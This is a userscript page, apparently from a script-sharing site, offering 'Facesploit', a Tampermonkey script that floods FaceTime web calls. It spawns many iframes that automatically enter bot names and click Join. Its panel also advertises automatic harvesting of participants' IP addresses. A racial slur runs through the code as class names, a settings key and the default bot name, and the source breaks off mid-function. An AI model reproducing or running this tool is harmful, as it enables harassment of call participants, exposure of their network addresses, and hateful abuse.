Facesploit

FaceTime automation spawner with dark theme

이 스크립트를 설치하려면 Tampermonkey, Greasemonkey 또는 Violentmonkey와 같은 확장 프로그램이 필요합니다.

이 스크립트를 설치하려면 Tampermonkey와 같은 확장 프로그램을 설치해야 합니다.

이 스크립트를 설치하려면 Tampermonkey 또는 Violentmonkey와 같은 확장 프로그램이 필요합니다.

이 스크립트를 설치하려면 Tampermonkey 또는 Userscripts와 같은 확장 프로그램이 필요합니다.

이 스크립트를 설치하려면 Tampermonkey와 같은 확장 프로그램이 필요합니다.

이 스크립트를 설치하려면 유저 스크립트 관리자 확장 프로그램이 필요합니다.

(이미 유저 스크립트 관리자가 설치되어 있습니다. 설치를 진행합니다!)

이 스타일을 설치하려면 Stylus와 같은 확장 프로그램이 필요합니다.

이 스타일을 설치하려면 Stylus와 같은 확장 프로그램이 필요합니다.

이 스타일을 설치하려면 Stylus와 같은 확장 프로그램이 필요합니다.

이 스타일을 설치하려면 유저 스타일 관리자 확장 프로그램이 필요합니다.

이 스타일을 설치하려면 유저 스타일 관리자 확장 프로그램이 필요합니다.

이 스타일을 설치하려면 유저 스타일 관리자 확장 프로그램이 필요합니다.

(이미 유저 스타일 관리자가 설치되어 있습니다. 설치를 진행합니다!)

// ==UserScript==
// @name         Facesploit
// @namespace    http://tampermonkey.net/
// @version      6.0
// @description  FaceTime automation spawner with dark theme
// @match        https://facetime.apple.com/*
// @grant        none
// @run-at       document-start
// ==/UserScript==

(function() {
    'use strict';

    // Only run UI on main page, not in iframes
    if(window !== window.top) {
        return;
    }

    // Wait for DOM to be ready
    function initScript() {
        // Ensure body exists before proceeding
        if (!document.body) {
            setTimeout(initScript, 100);
            return;
        }

        // Create container for iframes
        const container = document.createElement('div');
        container.id = 'ft-test-container';
    container.innerHTML = `
        <style>
            body {
                background: #0d0d0d !important;
                font-family: 'Segoe UI', Tahoma, Arial, sans-serif;
            }
            .nigga-container {
                background: #1a1a1a;
                border: 1px solid #2a2a2a;
                border-radius: 0;
                box-shadow: none;
            }
            .nigga-header {
                background: linear-gradient(180deg, #1a1a1a 0%, #0d0d0d 100%);
                color: #ffffff;
                padding: 8px 12px;
                font-weight: 600;
                font-size: 13px;
                font-family: 'Segoe UI', Tahoma, Arial, sans-serif;
                display: flex;
                justify-content: space-between;
                align-items: center;
                border-radius: 0;
                text-shadow: none;
                border-bottom: 1px solid #2a2a2a;
            }
            .nigga-button {
                background: linear-gradient(180deg, #2a2a2a 0%, #1a1a1a 100%);
                border: 1px solid #3a3a3a;
                color: #ffffff;
                padding: 6px 12px;
                font-family: 'Segoe UI', Tahoma, Arial, sans-serif;
                font-size: 11px;
                cursor: pointer;
                border-radius: 0;
                transition: all 0.3s ease;
                position: relative;
            }
            .nigga-button:hover {
                background: linear-gradient(180deg, #3a3a3a 0%, #2a2a2a 100%);
                border-color: #4a4a4a;
                transform: none;
                box-shadow: none;
            }
            .nigga-button:active {
                transform: none;
                box-shadow: none;
                background: #1a1a1a;
                border-color: #3a3a3a;
            }
            .nigga-button.danger {
                background: linear-gradient(180deg, #4a1a1a 0%, #3a0a0a 100%);
                border-color: #5a2a2a;
                color: white;
            }
            .nigga-button.danger:hover {
                background: linear-gradient(180deg, #5a2a2a 0%, #4a1a1a 100%);
            }
            .nigga-input {
                background: #2a2a2a;
                border: 1px solid #3a3a3a;
                color: #ffffff;
                padding: 4px 8px;
                font-family: 'Segoe UI', Tahoma, Arial, sans-serif;
                font-size: 11px;
                border-radius: 0;
                transition: all 0.3s ease;
            }
            .nigga-input:focus {
                outline: 1px solid #4a90e2;
                outline-offset: 0;
                box-shadow: none;
                border-color: #4a90e2;
            }
            .nigga-group {
                border: 1px solid #2a2a2a;
                padding: 8px;
                margin: 6px 0;
                background: #1a1a1a;
                border-radius: 0;
            }
            .nigga-label {
                font-family: 'Segoe UI', Tahoma, Arial, sans-serif;
                font-size: 11px;
                color: #ffffff;
                margin-bottom: 3px;
                display: block;
                font-weight: 500;
                transition: none;
                padding: 2px 4px;
                border-radius: 2px;
                position: relative;
            }
            input[type="checkbox"] {
                appearance: none;
                width: 12px;
                height: 12px;
                border: 1px solid #4a90e2;
                background: #2a2a2a;
                border-radius: 2px;
                cursor: pointer;
                position: relative;
                transition: all 0.3s ease;
                margin-right: 6px;
            }
            input[type="checkbox"]:checked {
                background: #4a90e2;
                border-color: #4a90e2;
            }
            input[type="checkbox"]:checked::after {
                content: '✓';
                position: absolute;
                top: -2px;
                left: 1px;
                color: white;
                font-size: 10px;
                font-weight: bold;
            }
            input[type="checkbox"]:hover {
                background: rgba(74, 144, 226, 0.2);
                box-shadow: 0 0 8px rgba(74, 144, 226, 0.4);
            }
            .nigga-slider {
                width: 100%;
                height: 4px;
                border-radius: 0;
                background: #2a2a2a;
                outline: none;
                -webkit-appearance: none;
            }
            .nigga-slider::-webkit-slider-thumb {
                -webkit-appearance: none;
                appearance: none;
                width: 12px;
                height: 12px;
                border-radius: 0;
                background: #4a90e2;
                cursor: pointer;
                transition: all 0.3s ease;
                border: 1px solid #3a70c2;
            }
            .nigga-slider:disabled {
                opacity: 0.3;
                pointer-events: none;
            }
            .nigga-slider:disabled::-webkit-slider-thumb {
                background: #666;
                cursor: not-allowed;
            }
            .nigga-slider::-webkit-slider-thumb:hover {
                background: #5aa0f2;
                box-shadow: 0 0 8px rgba(74, 144, 226, 0.4);
            }
            .nigga-stats {
                background: #0d0d0d;
                border: 1px solid #2a2a2a;
                padding: 8px;
                border-radius: 0;
                font-family: 'Segoe UI', Tahoma, Arial, sans-serif;
                font-size: 11px;
                color: #ffffff;
                display: grid;
                grid-template-columns: 1fr 1fr;
                gap: 6px;
            }
            .nigga-stat-item {
                display: flex;
                justify-content: space-between;
                align-items: center;
            }
            .nigga-stat-value {
                font-weight: 600;
                color: #4a90e2;
            }

            /* Purple highlight bar */
            .highlight-bar {
                position: fixed;
                background: rgba(128, 0, 128, 0.4);
                box-shadow: 0 0 12px rgba(128, 0, 128, 0.6);
                border-radius: 2px;
                pointer-events: none;
                z-index: 99998;
                transition: all 0.2s ease;
                display: none;
            }
        </style>

        <div id="ft-control-panel" class="nigga-container" style="position:fixed; top:0; left:0; right:0; bottom:0; z-index:99999; display:flex;">

            <!-- Control Panel Sidebar -->
            <div style="width: 320px; background: #1a1a1a; border-right: 1px solid #333; display:flex; flex-direction:column;">

                <div class="nigga-header">
                    <span>nigga spawner</span>
                    <button id="togglePanel" style="background:transparent; border:none; color:white; cursor:pointer; font-size:12px; padding:0; width:20px; height:20px; display:flex; align-items:center; justify-content:center; border-radius:0; transition:none;" onmouseover="this.style.background='rgba(255,255,255,0.1)'" onmouseout="this.style.background='transparent'">◀</button>
                </div>

                <div id="panel-content" style="padding: 16px; background: #1a1a1a; flex:1; overflow-y:auto;">

                    <div class="nigga-group">
                        <label class="nigga-label">Name Pattern</label>
                        <select id="namePattern" class="nigga-input" style="width:100%; margin-bottom:6px; background:#2a2a2a; color:#ffffff; border:1px solid #3a3a3a;">
                            <option value="random">Random (nigga_1234)</option>
                            <option value="custom">Custom Names</option>
                            <option value="numbered">Numbered (Agent 1, 2...)</option>
                        </select>
                        <input id="customNameBase" type="text" placeholder="e.g., Shinobi" class="nigga-input" style="width:100%; margin-bottom:4px;" />
                        <label class="nigga-label" style="display:flex; align-items:center; margin-bottom:4px; cursor:pointer;">
                            <input type="checkbox" id="autoNumberCustom" style="margin-right:6px;" /> Auto-number custom names
                        </label>
                        <select id="numberingMode" class="nigga-input" style="width:100%; margin-bottom:4px; display:none;">
                            <option value="random">Random (1234, 5678)</option>
                            <option value="counting">Counting (1, 2, 3...)</option>
                        </select>
                    </div>

                    <div class="nigga-group">
                        <label class="nigga-label">Timing (ms)</label>

                        <label class="nigga-label" style="margin-bottom:3px; margin-top:6px;">Spawn delay:</label>
                        <input type="range" id="spawnDelay" min="100" max="5000" value="500" class="nigga-slider" style="width:100%; margin-bottom:3px;" />
                        <span id="spawnDelayVal" class="nigga-label" style="color: #4a90e2; font-weight: 600;">500ms</span>

                        <label class="nigga-label" style="margin-bottom:3px; margin-top:10px;">Auto-join delay:</label>
                        <input type="range" id="autoJoinDelay" min="500" max="10000" value="2000" class="nigga-slider" style="width:100%; margin-bottom:3px;" />
                        <span id="autoJoinDelayVal" class="nigga-label" style="color: #4a90e2; font-weight: 600;">2000ms</span>

                        <label class="nigga-label" style="margin-bottom:3px; margin-top:10px;">Name input delay:</label>
                        <input type="range" id="nameInputDelay" min="200" max="2000" value="800" class="nigga-slider" style="width:100%; margin-bottom:3px;" />
                        <span id="nameInputDelayVal" class="nigga-label" style="color: #4a90e2; font-weight: 600;">800ms</span>

                        <label class="nigga-label" style="margin-bottom:3px; margin-top:10px;">Continue button delay:</label>
                        <input type="range" id="continueButtonDelay" min="500" max="3000" value="1500" class="nigga-slider" style="width:100%; margin-bottom:3px;" />
                        <span id="continueButtonDelayVal" class="nigga-label" style="color: #4a90e2; font-weight: 600;">1500ms</span>

                        <label class="nigga-label" style="margin-bottom:3px; margin-top:10px;">Retry delay:</label>
                        <input type="range" id="retryDelay" min="1000" max="5000" value="2000" class="nigga-slider" style="width:100%; margin-bottom:3px;" />
                        <span id="retryDelayVal" class="nigga-label" style="color: #4a90e2; font-weight: 600;">2000ms</span>

                        <label class="nigga-label" style="margin-bottom:3px; margin-top:10px;">Max retries:</label>
                        <input type="range" id="maxRetries" min="1" max="10" value="3" class="nigga-slider" style="width:100%; margin-bottom:3px;" />
                        <span id="maxRetriesVal" class="nigga-label" style="color: #4a90e2; font-weight: 600;">3</span>
                    </div>

                    <div class="nigga-group">
                        <label class="nigga-label">Display Options</label>
                        <label class="nigga-label" style="display:flex; align-items:center; margin-bottom:4px; cursor:pointer;">
                            <input type="checkbox" id="showIframes" checked style="margin-right:6px;" /> Show windows
                        </label>
                        <label class="nigga-label" style="display:flex; align-items:center; margin-bottom:4px; cursor:pointer;">
                            <input type="checkbox" id="autoScroll" checked style="margin-right:6px;" /> Auto-scroll
                        </label>
                        <label class="nigga-label" style="display:flex; align-items:center; margin-bottom:4px; cursor:pointer;">
                            <input type="checkbox" id="collapseIframes" style="margin-right:6px;" /> Collapse all
                        </label>
                        <label class="nigga-label" style="display:flex; align-items:center; margin-bottom:4px; cursor:pointer;">
                            <input type="checkbox" id="temporaryMode" style="margin-right:6px;" /> Temporary mode
                        </label>
                        <label class="nigga-label" style="margin-bottom:3px; margin-top:6px;">Lifetime (seconds):</label>
                        <input type="range" id="temporaryLifetime" min="5" max="120" value="30" class="nigga-slider" style="width:100%; margin-bottom:3px;" />
                        <span id="temporaryLifetimeVal" class="nigga-label" style="color: #4a90e2; font-weight: 600;">30s</span>
                    </div>

                    <div class="nigga-group">
                        <label class="nigga-label">Navigation</label>
                        <div style="display:grid; grid-template-columns:1fr 1fr; gap:4px; margin-bottom:6px;">
                            <button id="prevInstance" class="nigga-button" style="font-size:10px; padding:4px;">Previous</button>
                            <button id="nextInstance" class="nigga-button" style="font-size:10px; padding:4px;">Next</button>
                        </div>
                        <div style="display:grid; grid-template-columns:1fr 1fr; gap:4px;">
                            <button id="firstInstance" class="nigga-button" style="font-size:10px; padding:4px;">First</button>
                            <button id="lastInstance" class="nigga-button" style="font-size:10px; padding:4px;">Last</button>
                        </div>
                    </div>

                    <div class="nigga-group">
                        <label class="nigga-label">Actions</label>
                        <input id="spawnCount" type="number" placeholder="Count" value="10" min="1" class="nigga-input" style="width:100%; margin-bottom:6px;" />
                        <button id="spawnBtn" class="nigga-button" style="display:block; width:100%; margin-bottom:4px;">Spawn Instances</button>
                        <button id="wipeAllBtn" class="nigga-button danger" style="display:block; width:100%; margin-bottom:4px;">Clear Instances</button>
                        <button id="clearCacheBtn" class="nigga-button danger" style="display:block; width:100%; margin-bottom:4px;">Clear Cache</button>
                                            </div>

                    <div class="nigga-stats">
                        <div class="nigga-stat-item">
                            <span>Joined:</span>
                            <span id="joinedCount" class="nigga-stat-value">0</span>
                        </div>
                        <div class="nigga-stat-item">
                            <span>Total:</span>
                            <span id="totalCount" class="nigga-stat-value">0</span>
                        </div>
                        <div class="nigga-stat-item">
                            <span>IPs Found:</span>
                            <span id="ipCount" class="nigga-stat-value">0</span>
                        </div>
                    </div>

                    <div class="nigga-group">
                        <label class="nigga-label">IP Addresses</label>
                        <label class="nigga-label" style="display:flex; align-items:center; margin-bottom:4px; cursor:pointer;">
                            <input type="checkbox" id="autoPullIPs" checked style="margin-right:6px;" /> Auto-pull IPs
                        </label>
                        <div id="ipList" style="max-height: 120px; overflow-y: auto; background: #0d0d0d; border: 1px solid #2a2a2a; padding: 8px; font-family: 'Segoe UI', Tahoma, Arial, sans-serif; font-size: 10px; color: #4a90e2; line-height: 1.4;">
                            <div style="color: #666; font-style: italic;">No IPs detected yet...</div>
                        </div>
                    </div>
                </div>
            </div>

            <!-- Main Content Area -->
            <div style="flex:1; display:flex; flex-direction:column;">

                <!-- Original Webpage -->
                <div id="original-page" style="flex:1; background: white; position:relative;">
                    <iframe id="main-webpage" src="about:blank" style="width:100%; height:100%; border:none; background:white;"></iframe>
                </div>

                <!-- Instance Container (Collapsible) -->
                <div id="instance-container" style="height: 300px; background: #0d0d0d; border-top: 1px solid #333; display:flex; flex-direction:column;">
                    <div class="nigga-header" style="padding: 6px 12px; font-size: 12px;">
                        <span>Instances</span>
                        <button id="toggleInstances" style="background:transparent; border:none; color:white; cursor:pointer; font-size:10px; padding:0; width:16px; height:16px; display:flex; align-items:center; justify-content:center; border-radius:0; transition:none;" onmouseover="this.style.background='rgba(255,255,255,0.1)'" onmouseout="this.style.background='transparent'">▼</button>
                    </div>
                    <div id="ft-iframe-container" style="flex:1; padding: 8px; overflow-y:auto; display:grid; grid-template-columns:repeat(auto-fill, minmax(200px, 1fr)); gap:6px; align-content:start;">
                    </div>
                </div>
            </div>
        </div>

        <!-- Purple highlight bar -->
        <div class="highlight-bar" id="highlightBar"></div>
    `;
    document.body.appendChild(container);

    // Load original webpage
    const mainWebpage = document.getElementById('main-webpage');
    if (mainWebpage) {
        mainWebpage.src = window.location.href;
    }

    // Create highlight bar
    const highlightBar = document.createElement('div');
    highlightBar.className = 'highlight-bar';
    highlightBar.id = 'highlightBar';
    document.body.appendChild(highlightBar);

    // Highlight bar functionality
    let highlightTimeout;
    const hoverableElements = [];

    function updateHighlightBar(element) {
        if (!element) return;

        const highlightBar = document.getElementById('highlightBar');
        if (!highlightBar) {
            console.log('Highlight bar not found in updateHighlightBar');
            return;
        }

        const rect = element.getBoundingClientRect();
        console.log('Updating highlight bar for:', element, 'Rect:', rect);

        highlightBar.style.display = 'block';
        highlightBar.style.left = rect.left - 2 + 'px';
        highlightBar.style.top = rect.top - 2 + 'px';
        highlightBar.style.width = rect.width + 4 + 'px';
        highlightBar.style.height = rect.height + 4 + 'px';
    }

    function hideHighlightBar() {
        const highlightBar = document.getElementById('highlightBar');
        if (highlightBar) {
            highlightBar.style.display = 'none';
        }
    }

    // Add hover listeners to all interactive elements
    function addHighlightListeners() {
        console.log('Adding highlight listeners...');

        const selectors = [
            '.nigga-label',
            '.nigga-button',
            '.nigga-input',
            'input[type="checkbox"]',
            '.nigga-slider',
            '.nigga-stat-item'
        ];

        let totalElements = 0;

        selectors.forEach(selector => {
            const elements = document.querySelectorAll(selector);
            console.log(`Found ${elements.length} elements for selector: ${selector}`);
            totalElements += elements.length;

            elements.forEach((element, index) => {
                element.addEventListener('mouseenter', (e) => {
                    console.log('Mouse enter on:', e.target);
                    clearTimeout(highlightTimeout);
                    updateHighlightBar(e.target);
                });

                element.addEventListener('mouseleave', () => {
                    console.log('Mouse leave');
                    highlightTimeout = setTimeout(hideHighlightBar, 100);
                });
            });
        });

        console.log(`Total elements with listeners: ${totalElements}`);
    }

    // Initialize highlight listeners
    setTimeout(addHighlightListeners, 100);

    // Re-add listeners when new elements are added
    const observer = new MutationObserver(() => {
        addHighlightListeners();
    });

    observer.observe(document.body, {
        childList: true,
        subtree: true
    });

    // Settings with localStorage persistence
    const defaultSettings = {
        namePattern: 'random',
        customNameBase: 'nigga',
        autoNumberCustom: false,
        numberingMode: 'random',
        spawnDelay: 500,
        autoJoinDelay: 2000,
        nameInputDelay: 800,
        continueButtonDelay: 1500,
        retryDelay: 2000,
        maxRetries: 3,
        showIframes: true,
        autoScroll: true,
        collapseIframes: false,
        temporaryMode: false,
        temporaryLifetime: 30000,
        autoPullIPs: true
    };

    // Load settings from localStorage or use defaults
    let settings = { ...defaultSettings };
    try {
        const savedSettings = localStorage.getItem('niggaspawnerSettings');
        if (savedSettings) {
            settings = { ...settings, ...JSON.parse(savedSettings) };
        }
    } catch (e) {
        console.error('Failed to load settings from localStorage:', e);
    }

    // Save settings to localStorage
    function saveSettings() {
        try {
            localStorage.setItem('niggaspawnerSettings', JSON.stringify(settings));
        } catch (e) {
            console.error('Failed to save settings to localStorage:', e);
        }
    }

    let joinedCount = 0;
    let totalCount = 0;
    let panelCollapsed = false;
    let pulledIPs = new Set();

    // Update displays with localStorage save
    function updateSlider(sliderId, displayId, isSeconds = false, isNumber = false) {
        const slider = document.getElementById(sliderId);
        const display = document.getElementById(displayId);

        // Set initial value from settings
        slider.value = settings[sliderId];

        slider.oninput = function() {
            const value = this.value;
            let displayValue;
            let settingValue;

            if (isNumber) {
                displayValue = value;
                settingValue = parseInt(value);
            } else if (isSeconds) {
                displayValue = value + 's';
                settingValue = parseInt(value) * 1000;
            } else {
                displayValue = value + 'ms';
                settingValue = parseInt(value);
            }

            display.textContent = displayValue;
            settings[sliderId] = settingValue;
            saveSettings();
        };

        // Initialize display
        slider.oninput();
    }

    updateSlider('spawnDelay', 'spawnDelayVal');
    updateSlider('autoJoinDelay', 'autoJoinDelayVal');
    updateSlider('nameInputDelay', 'nameInputDelayVal');
    updateSlider('continueButtonDelay', 'continueButtonDelayVal');
    updateSlider('retryDelay', 'retryDelayVal');
    updateSlider('maxRetries', 'maxRetriesVal', false, true);
    updateSlider('temporaryLifetime', 'temporaryLifetimeVal', true);

    // Initialize UI state
    document.getElementById('namePattern').value = settings.namePattern;
    document.getElementById('customNameBase').value = settings.customNameBase;
    document.getElementById('autoNumberCustom').checked = settings.autoNumberCustom;
    document.getElementById('numberingMode').value = settings.numberingMode;
    document.getElementById('showIframes').checked = settings.showIframes;
    document.getElementById('autoScroll').checked = settings.autoScroll;
    document.getElementById('collapseIframes').checked = settings.collapseIframes;
    document.getElementById('temporaryMode').checked = settings.temporaryMode;
    document.getElementById('autoPullIPs').checked = settings.autoPullIPs;

    // Set initial visibility states
    const isCustom = settings.namePattern === 'custom';
    document.getElementById('customNameBase').style.display = isCustom ? 'block' : 'none';
    document.getElementById('autoNumberCustom').parentElement.style.display = isCustom ? 'flex' : 'none';
    updateCustomNumberVisibility();
    updateLifetimeSliderState();

    // Initialize auto IP pulling if enabled
    if (settings.autoPullIPs) {
        setTimeout(startAutoIPPulling, 2000); // Start after 2 seconds
    }

    // Initialize highlight bar after a short delay
    setTimeout(() => {
        const highlightBar = document.getElementById('highlightBar');
        if (highlightBar) {
            console.log('Highlight bar found:', highlightBar);
            addHighlightListeners();
        } else {
            console.log('Highlight bar not found, creating new one');
            const newBar = document.createElement('div');
            newBar.className = 'highlight-bar';
            newBar.id = 'highlightBar';
            newBar.style.cssText = `
                position: fixed;
                background: rgba(128, 0, 128, 0.4);
                box-shadow: 0 0 12px rgba(128, 0, 128, 0.6);
                border-radius: 2px;
                pointer-events: none;
                z-index: 99998;
                transition: all 0.2s ease;
                display: none;
            `;
            document.body.appendChild(newBar);
            addHighlightListeners();
        }
    }, 500);

    document.getElementById('namePattern').onchange = function() {
        settings.namePattern = this.value;
        const isCustom = this.value === 'custom';
        document.getElementById('customNameBase').style.display = isCustom ? 'block' : 'none';
        document.getElementById('autoNumberCustom').parentElement.style.display = isCustom ? 'flex' : 'none';
        updateCustomNumberVisibility();
        saveSettings();
    };

    document.getElementById('customNameBase').oninput = function() {
        settings.customNameBase = this.value;
        saveSettings();
    };

    function updateCustomNumberVisibility() {
        const numberingModeSelect = document.getElementById('numberingMode');
        if (settings.autoNumberCustom && settings.namePattern === 'custom') {
            numberingModeSelect.style.display = 'block';
        } else {
            numberingModeSelect.style.display = 'none';
        }
    }

    function updateLifetimeSliderState() {
        const slider = document.getElementById('temporaryLifetime');
        const display = document.getElementById('temporaryLifetimeVal');
        const label = slider.previousElementSibling;

        if (settings.temporaryMode) {
            slider.disabled = false;
            slider.style.opacity = '1';
            slider.style.pointerEvents = 'auto';
            display.style.opacity = '1';
            display.style.pointerEvents = 'auto';
            label.style.opacity = '1';
            label.style.pointerEvents = 'auto';
            // Show the entire lifetime section
            label.parentElement.style.display = 'block';
        } else {
            slider.disabled = true;
            slider.style.opacity = '0.3';
            slider.style.pointerEvents = 'none';
            display.style.opacity = '0.3';
            display.style.pointerEvents = 'none';
            label.style.opacity = '0.3';
            label.style.pointerEvents = 'none';
            // Hide the entire lifetime section
            label.parentElement.style.display = 'none';
        }
    }
    updateLifetimeSliderState();

    document.getElementById('autoNumberCustom').onchange = function() {
        settings.autoNumberCustom = this.checked;
        updateCustomNumberVisibility();
        saveSettings();
    };

    document.getElementById('numberingMode').onchange = function() {
        settings.numberingMode = this.value;
        saveSettings();
    };

    document.getElementById('temporaryMode').onchange = function() {
        settings.temporaryMode = this.checked;
        updateLifetimeSliderState();
        saveSettings();
    };

    document.getElementById('showIframes').onchange = function() {
        settings.showIframes = this.checked;
        const instanceContainer = document.getElementById('instance-container');
        if(this.checked) {
            instanceContainer.style.display = 'flex';
        } else {
            instanceContainer.style.display = 'none';
        }
        saveSettings();
    };

    document.getElementById('autoScroll').onchange = function() {
        settings.autoScroll = this.checked;
        saveSettings();
    };

    document.getElementById('collapseIframes').onchange = function() {
        settings.collapseIframes = this.checked;
        document.querySelectorAll('.ft-iframe-wrapper').forEach(wrapper => {
            const iframe = wrapper.querySelector('iframe');
            if(settings.collapseIframes) {
                wrapper.style.height = '60px';
                iframe.style.position = 'absolute';
                iframe.style.visibility = 'hidden';
            } else {
                wrapper.style.height = '240px';
                iframe.style.position = 'relative';
                iframe.style.visibility = 'visible';
            }
        });
        saveSettings();
    };

    document.getElementById('temporaryMode').onchange = function() {
        settings.temporaryMode = this.checked;
        updateLifetimeSliderState();
        saveSettings();
    };

    document.getElementById('autoPullIPs').onchange = function() {
        settings.autoPullIPs = this.checked;
        if (this.checked) {
            startAutoIPPulling();
        } else {
            stopAutoIPPulling();
        }
        saveSettings();
    };

    document.getElementById('spawnCount').oninput = function() {
        // Don't save spawn count to localStorage as it's temporary
    };

    // Navigation functions
    let currentInstanceIndex = -1;

    function navigateToInstance(direction) {
        const instances = document.querySelectorAll('.ft-iframe-wrapper');
        if (instances.length === 0) return;

        if (direction === 'first') {
            currentInstanceIndex = 0;
        } else if (direction === 'last') {
            currentInstanceIndex = instances.length - 1;
        } else if (direction === 'next') {
            currentInstanceIndex = Math.min(currentInstanceIndex + 1, instances.length - 1);
        } else if (direction === 'prev') {
            currentInstanceIndex = Math.max(currentInstanceIndex - 1, 0);
        }

        instances[currentInstanceIndex].scrollIntoView({
            behavior: 'smooth',
            block: 'center'
        });

        // Highlight current instance
        instances.forEach((instance, index) => {
            if (index === currentInstanceIndex) {
                instance.style.border = '2px solid #4a90e2';
                instance.style.boxShadow = '0 0 20px rgba(74, 144, 226, 0.5)';
            } else {
                instance.style.border = '';
                instance.style.boxShadow = '';
            }
        });
    }

    // Navigation button handlers
    document.getElementById('firstInstance').onclick = () => navigateToInstance('first');
    document.getElementById('lastInstance').onclick = () => navigateToInstance('last');
    document.getElementById('nextInstance').onclick = () => navigateToInstance('next');
    document.getElementById('prevInstance').onclick = () => navigateToInstance('prev');

    // Panel toggle
    document.getElementById('togglePanel').onclick = function() {
        panelCollapsed = !panelCollapsed;
        const panelContent = document.getElementById('panel-content');
        const container = document.getElementById('ft-control-panel');
        const toggleBtn = document.getElementById('togglePanel');

        if(panelCollapsed) {
            panelContent.style.display = 'none';
            container.style.justifyContent = 'flex-start';
            toggleBtn.textContent = '▶';
        } else {
            panelContent.style.display = 'block';
            container.style.justifyContent = 'flex-start';
            toggleBtn.textContent = '◀';
        }
    };

    // Instance container toggle
    let instancesCollapsed = false;
    document.getElementById('toggleInstances').onclick = function() {
        instancesCollapsed = !instancesCollapsed;
        const instanceContainer = document.getElementById('instance-container');
        const toggleBtn = document.getElementById('toggleInstances');
        const originalPage = document.getElementById('original-page');

        if(instancesCollapsed) {
            instanceContainer.style.height = '40px';
            instanceContainer.style.overflow = 'hidden';
            document.getElementById('ft-iframe-container').style.display = 'none';
            toggleBtn.textContent = '▶';
            originalPage.style.flex = '1';
        } else {
            instanceContainer.style.height = '300px';
            instanceContainer.style.overflow = 'visible';
            document.getElementById('ft-iframe-container').style.display = 'grid';
            toggleBtn.textContent = '▼';
            originalPage.style.flex = '1';
        }
    };

    // Generate name
    let customNumberCounter = 0;

    function generateName(index) {
        switch(settings.namePattern) {
            case 'random':
                return `nigga_${Math.floor(Math.random() * 10000)}`;
            case 'custom':
                let customName = settings.customNameBase;
                if (settings.autoNumberCustom) {
                    let numberToUse;
                    if (settings.numberingMode === 'random') {
                        numberToUse = Math.floor(Math.random() * 10000);
                    } else {
                        numberToUse = customNumberCounter + 1;
                        customNumberCounter++;
                    }
                    customName = customName + ' ' + numberToUse;
                }
                return customName;
            case 'numbered':
                return `Agent ${index}`;
            default:
                return `nigga_${index}`;
        }
    }

    // Update counters
    function updateCounters() {
        document.getElementById('joinedCount').textContent = joinedCount;
        document.getElementById('totalCount').textContent = totalCount;
        document.getElementById('ipCount').textContent = pulledIPs.size;
    }

    // Create single iframe instance (optimized)
    function createJoinRequest(index) {
        const currentUrl = window.location.href;
        const userName = generateName(index);

        // Create iframe wrapper
        const wrapper = document.createElement('div');
        wrapper.className = 'ft-iframe-wrapper nigga-container';
        const initialHeight = settings.collapseIframes ? '60px' : '240px';
        wrapper.style.cssText = `height:${initialHeight}; position:relative; display:flex; flex-direction:column;`;

        // Header
        const header = document.createElement('div');
        header.className = 'nigga-header';
        header.style.fontSize = '12px';
        header.style.padding = '8px 12px';
        header.innerHTML = `
            <span>${userName}</span>
            <button class="remove-btn" style="background:transparent; border:none; color:white; cursor:pointer; font-size:12px; padding:0; width:16px; height:16px; display:flex; align-items:center; justify-content:center; border-radius:0; transition:none;" onmouseover="this.style.background='rgba(255,255,255,0.1)'" onmouseout="this.style.background='transparent'">✕</button>
        `;
        wrapper.appendChild(header);

        // Status
        const status = document.createElement('div');
        status.style.cssText = 'padding:6px 12px; font-size:11px; background:#1a1a1a; font-family:\'Segoe UI\', Tahoma, Arial, sans-serif; color:#ffffff; border-top:1px solid #2a2a2a; border-bottom:1px solid #2a2a2a;';
        status.textContent = 'Loading...';
        wrapper.appendChild(status);

        // Iframe container
        const iframeContainer = document.createElement('div');
        iframeContainer.style.cssText = 'flex:1; position:relative; overflow:hidden;';

        // Iframe
        const iframe = document.createElement('iframe');
        iframe.src = currentUrl;
        iframe.style.cssText = `width:100%; height:100%; border:none; background:white; ${settings.collapseIframes ? 'position:absolute; visibility:hidden;' : ''}`;
        iframe.loading = 'lazy';
        iframeContainer.appendChild(iframe);
        wrapper.appendChild(iframeContainer);

        // Remove button
        wrapper.querySelector('.remove-btn').onclick = function() {
            wrapper.remove();
            if (status.textContent === 'Joined') {
                joinedCount--;
            }
            totalCount--;
            updateCounters();
        };

        // Add to container
        document.getElementById('ft-iframe-container').appendChild(wrapper);
        totalCount++;
        updateCounters();

        // Auto-scroll to latest
        if(settings.autoScroll && !settings.collapseIframes) {
            setTimeout(() => {
                wrapper.scrollIntoView({ behavior: 'smooth', block: 'end' });
            }, 100);
        }

        // Simple auto-join logic
        function attemptJoin() {
            try {
                const iframeDoc = iframe.contentDocument || iframe.contentWindow.document;

                // Helper to set input value
                function setInputValue(input, value) {
                    const nativeInputValueSetter = Object.getOwnPropertyDescriptor(window.HTMLInputElement.prototype, "value").set;
                    nativeInputValueSetter.call(input, value);
                    input.dispatchEvent(new Event('input', { bubbles: true }));
                    input.dispatchEvent(new Event('change', { bubbles: true }));
                }

                const nameInput = iframeDoc.querySelector('#name-entry');

                if(nameInput) {
                    status.textContent = 'Entering name...';
                    nameInput.focus();
                    setInputValue(nameInput, userName);

                    setTimeout(() => {
                        const continueBtn = iframeDoc.querySelector('.continue-button');
                        if(continueBtn && continueBtn.getAttribute('aria-disabled') === 'false') {
                            status.textContent = 'Joining...';
                            status.style.background = '#2d3748';
                            continueBtn.click();

                            setTimeout(() => {
                                const joinBtn = iframeDoc.querySelector('#callcontrols-join-button-session-banner');
                                if(joinBtn) {
                                    status.textContent = 'Joined';
                                    status.style.background = '#1e3a1e';
                                    joinedCount++;
                                    updateCounters();
                                    joinBtn.click();
                                } else {
                                    status.textContent = 'Join button not found';
                                    status.style.background = '#4a1e1e';
                                }
                            }, settings.continueButtonDelay);
                        } else {
                            status.textContent = 'Continue button not available';
                            status.style.background = '#4a1e1e';
                        }
                    }, settings.nameInputDelay);
                } else {
                    status.textContent = 'Name input not found';
                    status.style.background = '#4a1e1e';
                }
            } catch(e) {
                status.textContent = 'Error: ' + e.message.substring(0, 30);
                status.style.background = '#4a1e1e';
                console.error('Iframe error:', e);
            }
        }

        iframe.onload = function() {
            setTimeout(() => {
                attemptJoin();
            }, settings.autoJoinDelay);
        };

        // Temporary mode auto-delete (per instance)
        if (settings.temporaryMode) {
            setTimeout(() => {
                if (wrapper.parentNode) {
                    status.textContent = 'Time expired';
                    status.style.background = '#4a2e1e';
                    setTimeout(() => {
                        if (wrapper.parentNode) {
                            wrapper.remove();
                            if (status.textContent === 'Joined') {
                                joinedCount--;
                            }
                            totalCount--;
                            updateCounters();
